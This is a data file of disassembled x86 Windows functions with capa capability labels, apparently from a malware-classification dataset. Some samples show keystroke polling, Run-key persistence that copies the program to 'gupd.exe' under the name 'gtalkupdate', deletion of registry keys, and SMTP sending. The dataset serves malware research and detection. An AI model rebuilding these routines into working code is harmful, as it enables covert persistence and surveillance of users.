joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ccb
Capabilities:
Get common file path

Disassembly:
push ebx
xor eax, eax
push eax
push eax
push eax
push 0x400
call fcn.00404590
mov dword [esp], eax
mov eax, dword [0x40b360]
push eax
push eax
call fcn.004066b2
lea ecx, [esp + 8]
pop edx
call fcn.00403100
push dword [esp]
push 0
push 0x40a00d
push dword [esp + 0x10]
call sub.KERNEL32.dll_GetTempFileNameA
mov eax, dword [0x40b360]
push eax
push eax
push dword [esp + 8]
call fcn.004045b0
lea ecx, [0x40b0c0]
pop edx
call fcn.00403100
push dword [esp]
call fcn.00404600
push dword [0x40b0c0]
call fcn.00406620
push dword [0x40b0c0]
call fcn.00406713
mov eax, dword [0x40b360]
push eax
push eax
call fcn.00406555
lea ecx, [0x40b0bc]
pop edx
call fcn.00403100
mov eax, dword [esp + 0x14]
call fcn.00404620
push eax
xor ebx, ebx
cmp ebx, dword [esp]
jne 0x401d94
mov edx, dword [0x40b0c0]
push dword [0x40b360]
call fcn.00407cf0
lea ecx, [0x40b0bc]
pop edx
call fcn.00403100
mov dword [esp + 0xc], 2
jmp 0x401da6
mov ebx, 1
cmp ebx, dword [esp]
jne 0x401da6
mov dword [esp + 0xc], 1
pop eax
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 8]
mov eax, ebx
call fcn.00404620
mov dword [0x40b0b4], eax
mov ebx, dword [esp + 0x14]
add ebx, dword [esp + 8]
inc ebx
mov eax, ebx
call fcn.00404620
mov dword [0x40b0b8], eax
mov eax, 1
jmp 0x401dd9
push dword [esp + 4]
call fcn.00407d50
add esp, 0xc
pop ebx
ret 4
Function at 0x402144
Capabilities:
Extract resource via kernel32 functions

Disassembly:
xor eax, eax
push eax
push eax
mov edx, dword [esp + 0x10]
lea ecx, [esp]
call fcn.004030f0
push 0xa
push dword [esp + 4]
push dword [esp + 0x14]
call sub.KERNEL32.dll_FindResourceA
mov dword [esp + 4], eax
cmp dword [esp + 4], 0
je 0x402195
push dword [esp + 4]
push dword [esp + 0x10]
call sub.KERNEL32.dll_LoadResource
mov dword [0x40b104], eax
push dword [esp + 4]
push dword [esp + 0x10]
call sub.KERNEL32.dll_SizeofResource
mov dword [0x40b100], eax
mov eax, dword [esp + 4]
jmp 0x40219d
push dword [esp]
call fcn.00407d50
add esp, 8
ret 8
Function at 0x403aea
Capabilities:
Enumerate gui resources

Disassembly:
cmp dword [esp + 4], 0
je 0x403b02
push dword [esp + 4]
push 0x403a83
call dword [sym.imp.USER32.dll_EnumWindows]
jmp 0x403b3f
push esi
mov esi, dword [0x40b16c]
test esi, esi
je 0x403b3e
push ebx
push edi
mov ebx, dword [esi]
lea edi, [esi + 8]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
cmp dword [edi], eax
jne 0x403b36
push 1
push dword [esi + 0xc]
call dword [sym.imp.USER32.dll_EnableWindow]
push edi
push 0x40b16c
call fcn.0040701d
pop ecx
pop ecx
test ebx, ebx
mov esi, ebx
jne 0x403b0f
pop edi
pop ebx
pop esi
ret 4
Function at 0x404457
Capabilities:
Check os version

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x130
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push edi
push 0x64
pop edi
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x1c], 0x94
call esi
test eax, eax
je 0x4044fb
mov eax, dword [ebp - 0xc]
dec eax
je 0x4044de
dec eax
jne 0x4044fb
mov eax, dword [ebp - 0x18]
sub eax, 3
je 0x4044da
dec eax
je 0x4044d6
dec eax
je 0x4044bc
dec eax
jne 0x4044fb
push 0x46
pop edi
lea eax, [ebp - 0xb8]
push eax
mov dword [ebp - 0xb8], 0x9c
call esi
test eax, eax
je 0x4044fb
cmp byte [ebp - 0x1e], 1
je 0x4044fb
push 0x4b
jmp 0x4044fa
mov eax, dword [ebp - 0x14]
sub eax, 0
je 0x4044d2
dec eax
je 0x4044ce
dec eax
jne 0x4044fb
push 0x41
jmp 0x4044fa
push 0x3c
jmp 0x4044fa
push 0x32
jmp 0x4044fa
push 0x14
jmp 0x4044fa
push 5
jmp 0x4044fa
cmp dword [ebp - 0x14], 0
je 0x4044f8
cmp dword [ebp - 0x14], 0xa
je 0x4044f4
cmp dword [ebp - 0x14], 0x5a
jne 0x4044fb
push 0x28
jmp 0x4044fa
push 0x1e
jmp 0x4044fa
push 0xa
pop edi
mov eax, edi
pop edi
pop esi
add ebp, 0x78
leave
ret

Function at 0x404d7c
Capabilities:
Get graphical window text

Disassembly:
push edi
push dword [esp + 8]
push dword [0x40b3d4]
call fcn.00406e90
mov edi, eax
test edi, edi
je 0x404dde
mov eax, dword [edi + 4]
mov eax, dword [eax + 0x18]
test eax, eax
je 0x404da5
push dword [esp + 0xc]
push edi
call eax
jmp 0x404dde
push ebx
push esi
push dword [edi]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push dword [esp + 0x14]
mov esi, eax
push esi
call fcn.00407f00
mov ebx, eax
lea eax, [esi + 1]
push eax
push ebx
mov byte [ebx], 0
push dword [edi]
call dword [sym.imp.USER32.dll_GetWindowTextA]
push ebx
call sub.MSVCRT.dll_strlen
pop ecx
sub esi, eax
push esi
call fcn.00408030
pop esi
pop ebx
pop edi
ret 8
Function at 0x4064bc
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, dword [sym.imp.USER32.dll_GetKeyState]
push 9
call esi
test al, al
jns 0x40652a
push 0x11
call esi
test al, al
js 0x40652a
push 0x10
call esi
test al, al
js 0x40652a
push 0x12
call esi
test al, al
js 0x40652a
mov esi, dword [sym.imp.USER32.dll_GetFocus]
push 5
lea eax, [ebp - 8]
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetClassNameA]
push 4
lea eax, [ebp - 8]
push str.Rich
push eax
call sub.MSVCRT.dll_strncmp
add esp, 0xc
test eax, eax
jne 0x40652a
push eax
push eax
push 0x44e
call esi
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
test ax, 0x800
je 0x40654e
push str.PB_WindowID
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetPropA]
test eax, eax
je 0x40654e
dec eax
push eax
push dword [0x40b3dc]
call fcn.00406e90
mov eax, dword [eax + 8]
jmp 0x406550
xor eax, eax
pop esi
leave
ret 4

Function at 0x406713
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
cmp dword [ebp + 8], 0
je 0x406786
push 0x104
push dword [ebp + 8]
lea eax, [ebp - 0x108]
push eax
call sub.MSVCRT.dll_strncpy
lea eax, [ebp - 0x108]
push eax
mov byte [ebp - 4], 0
call sub.MSVCRT.dll_strlen
add esp, 0x10
lea eax, [ebp + eax - 0x108]
jmp 0x406768
lea ecx, [eax - 1]
mov dl, byte [ecx]
cmp dl, 0x20
je 0x406766
cmp dl, 0x5c
je 0x406766
cmp dl, 0x2f
jne 0x406772
mov eax, ecx
lea ecx, [ebp - 0x108]
cmp eax, ecx
ja 0x406752
mov byte [eax], 0
push 0
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x406788
xor eax, eax
leave
ret 4

Function at 0x406790
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
xor eax, eax
cmp dword [esi + 0x14], eax
mov dword [esp + 4], eax
jne 0x4067c5
mov ecx, dword [esi + 8]
sub ecx, dword [esi + 0xc]
mov edx, dword [esi + 4]
push eax
lea eax, [esp + 8]
push eax
mov eax, dword [esi]
push ecx
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [esi + 8]
mov eax, dword [esp + 4]
mov dword [esi + 0xc], ecx
pop esi
pop ecx
ret 4

Function at 0x406a50
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0x10]
xor eax, eax
test esi, esi
mov dword [esp + 4], eax
je 0x406a99
cmp byte [esi], al
je 0x406a99
mov eax, dword [esp + 0xc]
mov ecx, dword [0x40b3ec]
push eax
push ecx
call fcn.00406e90
test eax, eax
je 0x406ac7
cmp dword [eax + 4], 0
mov ecx, esi
push edi
lea edi, [ecx + 1]
je 0x406aa0
mov dl, byte [ecx]
add ecx, 1
test dl, dl
jne 0x406a85
sub ecx, edi
push ecx
push esi
push eax
call fcn.00406b30
pop edi
pop esi
pop ecx
ret 8
mov dl, byte [ecx]
add ecx, 1
test dl, dl
jne 0x406aa0
mov eax, dword [eax]
push 0
lea edx, [esp + 0xc]
push edx
sub ecx, edi
push ecx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop edi
pop esi
pop ecx
ret 8
mov eax, dword [esp + 4]
pop esi
pop ecx
ret 8
Function at 0x406ad0
Capabilities:
Write file on windows

Disassembly:
push ecx
push edi
mov edi, dword [esp + 0x10]
xor eax, eax
test edi, edi
mov dword [esp + 4], eax
je 0x406b29
push esi
mov esi, dword [esp + 0x18]
test esi, esi
je 0x406b28
mov eax, dword [esp + 0x10]
mov ecx, dword [0x40b3ec]
push eax
push ecx
call fcn.00406e90
test eax, eax
je 0x406b24
cmp dword [eax + 4], 0
je 0x406b12
push esi
push edi
push eax
call fcn.00406b30
pop esi
pop edi
pop ecx
ret 0xc
mov eax, dword [eax]
push 0
lea edx, [esp + 0xc]
push edx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop esi
pop edi
pop ecx
ret 0xc

Function at 0x406b30
Capabilities:
Write file on windows

Disassembly:
push ecx
push esi
mov esi, dword [esp + 0xc]
cmp dword [esi + 0x14], 1
push edi
mov dword [esp + 8], 0
jne 0x406b65
mov eax, dword [esi + 0xc]
mov ecx, dword [esi]
push 1
push 0
neg eax
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov edx, dword [esi + 8]
mov dword [esi + 0x14], 0
mov dword [esi + 0xc], edx
mov ecx, dword [esi + 0xc]
mov edi, dword [esp + 0x18]
cmp ecx, edi
jle 0x406bde
mov eax, dword [esi + 8]
add eax, dword [esi + 4]
sub eax, ecx
mov ecx, edi
sub ecx, 1
je 0x406bcb
sub ecx, 1
je 0x406bb6
sub ecx, 2
je 0x406ba3
mov ecx, dword [esp + 0x14]
push edi
push ecx
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
mov edx, dword [esp + 0x14]
mov ecx, dword [edx]
mov dword [eax], ecx
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
mov edx, dword [esp + 0x14]
mov cx, word [edx]
mov word [eax], cx
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
mov edx, dword [esp + 0x14]
mov cl, byte [edx]
mov byte [eax], cl
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
push esi
call fcn.00406790
mov eax, dword [esi + 8]
cmp edi, eax
jl 0x406c0b
mov eax, dword [esp + 0x14]
mov ecx, dword [esi]
push 0
lea edx, [esp + 0xc]
push edx
push edi
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [esp + 8]
pop edi
pop esi
pop ecx
ret 0xc
mov ecx, dword [esi + 4]
sub ecx, dword [esi + 0xc]
mov edx, dword [esp + 0x14]
push edi
push edx
add ecx, eax
push ecx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
sub dword [esi + 0xc], edi
mov eax, edi
pop edi
pop esi
pop ecx
ret 0xc
Function at 0x407160
Capabilities:
Encode data using xor
Hash data with crc32
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 8
push esi
or esi, 0xffffffff
test eax, eax
je 0x407315
push ebx
push 0
push pe_nt_image_headers32
push 3
push 0
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
mov dword [esp + 8], ebx
je 0x407314
mov eax, dword [0x40b090]
push ebp
push 0x1000
push 0
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebp, eax
test ebp, ebp
mov dword [esp + 0x10], ebp
je 0x40730c
push edi
nop
push 0
lea ecx, [esp + 0x20]
push ecx
push 0x1000
push ebp
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [esp + 0x1c]
cmp edx, 8
mov eax, ebp
mov edi, edx
jb 0x4072ce
mov ebp, edx
shr ebp, 3
lea ebx, [ebx]
movzx ebx, byte [eax]
xor ebx, esi
and ebx, 0xff
add eax, 1
mov ecx, esi
shr ecx, 8
xor ecx, dword [ebx*4 + 0x4090f8]
movzx ebx, byte [eax]
xor ebx, ecx
and ebx, 0xff
shr ecx, 8
xor ecx, dword [ebx*4 + 0x4090f8]
movzx ebx, byte [eax + 1]
xor ebx, ecx
and ebx, 0xff
add eax, 1
shr ecx, 8
xor ecx, dword [ebx*4 + 0x4090f8]
movzx ebx, byte [eax + 1]
xor ebx, ecx
add eax, 1
and ebx, 0xff
shr ecx, 8
xor ecx, dword [ebx*4 + 0x4090f8]
movzx ebx, byte [eax + 1]
xor ebx, ecx
add eax, 1
and ebx, 0xff
shr ecx, 8
xor ecx, dword [ebx*4 + 0x4090f8]
movzx ebx, byte [eax + 1]
xor ebx, ecx
add eax, 1
and ebx, 0xff
shr ecx, 8
xor ecx, dword [ebx*4 + 0x4090f8]
movzx ebx, byte [eax + 1]
add eax, 1
xor ebx, ecx
and ebx, 0xff
shr ecx, 8
xor ecx, dword [ebx*4 + 0x4090f8]
movzx ebx, byte [eax + 1]
add eax, 1
xor ebx, ecx
and ebx, 0xff
shr ecx, 8
xor ecx, dword [ebx*4 + 0x4090f8]
add eax, 1
sub edi, 8
sub ebp, 1
mov esi, ecx
jne 0x4071f0
mov ebx, dword [esp + 0x10]
mov ebp, dword [esp + 0x14]
test edi, edi
je 0x4072ef
movzx ecx, byte [eax]
xor ecx, esi
and ecx, 0xff
shr esi, 8
xor esi, dword [ecx*4 + 0x4090f8]
add eax, 1
sub edi, 1
jne 0x4072d2
cmp edx, 0x1000
je 0x4071c0
mov edx, dword [0x40b090]
push ebp
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebp
pop ebx
mov eax, esi
not eax
pop esi
add esp, 8
ret 4

Function at 0x407320
Capabilities:
Hash data with md5

Disassembly:
mov eax, dword [esp + 4]
xor ecx, ecx
mov dword [eax + 0x14], ecx
mov dword [eax + 0x10], ecx
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
ret
Function at 0x401170
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x5894dc]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x10b]
push 0
push eax
mov byte [ebp - 0x10c], 0
call fcn.004ed3e0
add esp, 0xc
lea ecx, [ebp - 0x114]
push ecx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push bind
mov dword [ebp - 0x110], 1
mov dword [ebp - 0x118], 0x105
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401213
lea edx, [ebp - 0x118]
push edx
mov edx, dword [ebp - 0x114]
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x110]
push ecx
push 0
push str.gtalkupdate
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401213
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004ec47e
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor al, al
call fcn.004ec47e
mov esp, ebp
pop ebp
ret

Function at 0x401230
Capabilities:
Copy file
Persist via run registry key
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x5894dc]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x218]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401348
push esi
push 0x104
push eax
lea ecx, [ebp - 0x10b]
push ecx
mov byte [ebp - 0x10c], al
call fcn.004ed3e0
push 0x104
lea edx, [ebp - 0x213]
push 0
push edx
mov byte [ebp - 0x214], 0
call fcn.004ed3e0
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
add esp, 0x18
push 0x105
lea eax, [ebp - 0x10c]
push eax
push str._HOMEDRIVE_
call esi
push 0x105
lea ecx, [ebp - 0x214]
push ecx
push str._HOMEPATH_
call esi
lea edx, [ebp - 0x214]
push edx
lea eax, [ebp - 0x10c]
push 0x105
push eax
call fcn.004ec652
add esp, 0xc
push str.gupd.exe
lea ecx, [ebp - 0x10c]
push ecx
mov edx, ecx
push edx
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
push 0
lea eax, [ebp - 0x10c]
push eax
push 0x58e0e0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x10c]
lea edx, [eax + 1]
pop esi
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401320
sub eax, edx
mov edx, dword [ebp - 0x218]
inc eax
push eax
lea ecx, [ebp - 0x10c]
push ecx
push 1
push 0
push str.gtalkupdate
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004ec47e
mov esp, ebp
pop ebp
ret
Function at 0x401360
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
push 0x105
push 0x58e0e0
push 0
mov dword [0x58e0d8], eax
mov dword [ebp - 8], 0x401710
mov dword [ebp - 4], 0x401ab0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
call fcn.00401170
test al, al
jne 0x4013a4
call fcn.00401230
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push edi
mov edi, 2
xor esi, esi
mov ecx, dword [ebp + esi - 8]
push 0
push 0
push 0
push ecx
push 0
push 0
dec edi
call ebx
mov dword [ebp + esi - 0x10], eax
add esi, 4
test edi, edi
jne 0x4013b4
push 0xffffffffffffffff
push 1
lea edx, [ebp - 0x10]
push edx
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4013f0
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push edi
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SOFTWARE
push reloc.WS2_32.dll_bind
call esi
mov edi, dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x401435
mov ecx, dword [ebp - 4]
push str.Chilkat_Software__Inc.
push ecx
call edi
mov edx, dword [ebp - 4]
push edx
call ebx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SOFTWAREWow6432Node
push reloc.WS2_32.dll_bind
call esi
test eax, eax
jne 0x401461
mov ecx, dword [ebp - 4]
push str.Chilkat_Software__Inc.
push ecx
call edi
mov edx, dword [ebp - 4]
push edx
call ebx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.WMZebra
push bind
call esi
test eax, eax
jne 0x40148d
mov ecx, dword [ebp - 4]
push str.CLSID
push ecx
call edi
mov edx, dword [ebp - 4]
push edx
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4016a0
Capabilities:
Create http request

Disassembly:
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
lea esp, [esp]
push 0x7530
call edi
push 0
push 0
push 0
push 1
push str.gtalk
xor bl, bl
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
test esi, esi
je 0x4016b0
push 0
push 0x4000000
push 0xffffffffffffffff
push 0
push str.http:__www.google.com_index.html
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
test eax, eax
je 0x4016f6
push eax
mov bl, 1
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
test bl, bl
je 0x4016b0
pop edi
pop esi
pop ebx
ret
Function at 0x401860
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x5894dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0
push 0x4017a0
push edi
call fcn.00401000
mov ebx, dword [sym.imp.SHLWAPI.dll_PathCombineA]
add esp, 0xc
xor esi, esi
lea ecx, [ecx]
push 0x104
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call fcn.004ed3e0
mov ecx, dword [esi + 0x58a96c]
add esp, 0xc
push ecx
push edi
lea edx, [ebp - 0x110]
push edx
call ebx
push 0
lea eax, [ebp - 0x110]
push eax
push 0x58e0e0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
add esi, 4
cmp esi, 0xc
jb 0x401890
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.004ec47e
mov esp, ebp
pop ebp
ret

Function at 0x402030
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x501099
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
mov eax, dword [0x5894dc]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0xc], esi
call fcn.00402570
push fcn.00402660
push 0x4025b0
push 0xa
xor ebx, ebx
push 0x10
lea eax, [esi + 0x14]
push eax
mov dword [esp + 0x30], ebx
mov dword [esi], 0x5103fc
mov dword [esi + 4], ebx
mov byte [esi + 0xc], bl
mov dword [esi + 0x10], ebx
call fcn.004ec8df
push 0x1a60
mov byte [esp + 0x20], 1
call fcn.004eceb1
add esp, 4
mov dword [esp + 0x10], eax
cmp eax, ebx
mov byte [esp + 0x1c], 2
je 0x4020b4
mov ecx, eax
call fcn.0040b710
jmp 0x4020b6
xor eax, eax
mov dword [esi + 8], eax
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
add esp, 0x14
ret

Function at 0x406110
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
mov edi, dword [esp + 0x10]
mov eax, dword [edi + 0x18]
cmp eax, dword [ebx + 0x18]
mov esi, ecx
je 0x40612d
pop edi
pop esi
xor al, al
pop ebx
ret 8
test eax, eax
jne 0x40613c
pop edi
mov dword [esi + 0x18], eax
pop esi
mov al, 1
pop ebx
ret 8
cmp byte [esi + 0x10], 0xdb
je 0x406149
mov byte [0], 0x78
cmp dword [esi + 0x1c], eax
jae 0x406154
push eax
call fcn.00404a80
mov eax, dword [edi + 0x18]
mov ecx, dword [esi + 0x1c]
cmp eax, ecx
mov dword [esi + 0x18], eax
jbe 0x406164
mov dword [esi + 0x18], ecx
cmp dword [esi + 0x14], 0
je 0x406125
xor eax, eax
cmp dword [edi + 0x18], eax
jbe 0x40618b
mov ecx, dword [edi + 0x14]
mov edx, dword [ebx + 0x14]
mov cl, byte [ecx + eax]
xor cl, byte [edx + eax]
mov edx, dword [esi + 0x14]
mov byte [eax + edx], cl
add eax, 1
cmp eax, dword [edi + 0x18]
jb 0x406171
pop edi
pop esi
mov al, 1
pop ebx
ret 8
Function at 0x40cee0
Capabilities:
Check for time delay via gettickcount

Disassembly:
sub esp, 0x10
push ebx
push ebp
push esi
mov esi, ecx
xor ebx, ebx
cmp byte [esi + 0xe24], bl
push edi
mov dword [esi + 0xf28], ebx
je 0x40cf1b
cmp byte [esi + 0x121c], bl
je 0x40cf1b
cmp dword [esi + 0x1218], 0x1d1
jne 0x40cf15
mov byte [esi + 0xe24], bl
jmp 0x40cf1b
mov byte [esi + 0x121c], bl
mov edi, dword [esp + 0x34]
mov ebp, dword [esp + 0x30]
push edi
push ebp
lea eax, [esp + 0x1a]
push eax
lea ecx, [esp + 0x1f]
push ecx
push 1
mov ecx, esi
mov byte [esp + 0x27], bl
mov byte [esp + 0x26], bl
call fcn.0040cc80
test al, al
jne 0x40cf64
cmp byte [esp + 0x12], bl
je 0x40cf58
mov edx, dword [edi]
mov eax, dword [edx + 0x10]
push str.SMTP_send_aborted_by_application
mov ecx, edi
call eax
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x10
ret 0x14
cmp ebp, ebx
je 0x40cf83
lea ecx, [esp + 0x30]
push ecx
push 0xc8
mov ecx, ebp
mov byte [esp + 0x38], bl
call fcn.0044eb10
cmp byte [esp + 0x30], bl
jne 0x40cf4a
mov byte [esp + 0x13], bl
mov byte [esp + 0x12], bl
call sub.KERNEL32.dll_GetTickCount
lea edx, [esp + 0x34]
push edx
lea edx, [esp + 0x16]
push edx
lea edx, [esp + 0x1b]
push edx
lea edx, [esp + 0x24]
push edx
lea edx, [esp + 0x2c]
mov dword [esp + 0x24], eax
lea eax, [esi + 0x1a18]
push edx
lea ecx, [esi + 0x1278]
push eax
mov byte [esp + 0x4c], bl
mov dword [esp + 0x34], ebx
mov dword [esp + 0x30], ebx
call fcn.004e81e0
mov ecx, dword [esp + 0x40]
mov edx, dword [esp + 0x3c]
push eax
mov eax, dword [esp + 0x48]
push ebp
push edi
push eax
push ecx
push edx
lea ecx, [esi + 0x590]
call fcn.00446900
cmp byte [esp + 0x12], bl
mov byte [esp + 0x30], al
je 0x40d000
mov eax, dword [edi]
mov edx, dword [eax + 0x10]
push str.Aborted_by_application
mov ecx, edi
call edx
mov eax, dword [esp + 0x14]
push eax
push str.smtpConversation
mov ecx, edi
call fcn.00424470
cmp byte [esp + 0x34], bl
mov ecx, dword [esi + 0xd58]
mov dword [esi + 0xf28], ecx
je 0x40d0e5
mov edx, dword [edi]
mov eax, dword [edx + 0x14]
push str.Reconnecting_to_the_SMTP_server_and_retrying...
mov ecx, edi
call eax
push 0x3e8
call fcn.0041e160
add esp, 4
push edi
push ebp
lea ecx, [esp + 0x1a]
push ecx
lea edx, [esp + 0x1f]
push edx
push 1
mov ecx, esi
call fcn.0040cc80
test al, al
je 0x40d0e5
call sub.KERNEL32.dll_GetTickCount
mov dword [esp + 0x14], eax
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x16]
push ecx
lea edx, [esp + 0x1b]
push edx
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x2c]
push ecx
lea eax, [esi + 0x1a18]
push eax
lea ecx, [esi + 0x1278]
call fcn.004e81e0
mov edx, dword [esp + 0x44]
mov ecx, dword [esp + 0x3c]
push eax
mov eax, dword [esp + 0x44]
push ebp
push edi
push edx
push eax
push ecx
lea ecx, [esi + 0x590]
call fcn.00446900
cmp byte [esp + 0x12], bl
mov byte [esp + 0x30], al
je 0x40d0c8
mov edx, dword [edi]
mov eax, dword [edx + 0x10]
push str.Aborted_by_application
mov ecx, edi
call eax
mov ecx, dword [esp + 0x14]
push ecx
push str.smtpConversation2
mov ecx, edi
call fcn.00424470
mov edx, dword [esi + 0xd58]
mov dword [esi + 0xf28], edx
mov al, byte [esp + 0x30]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret 0x14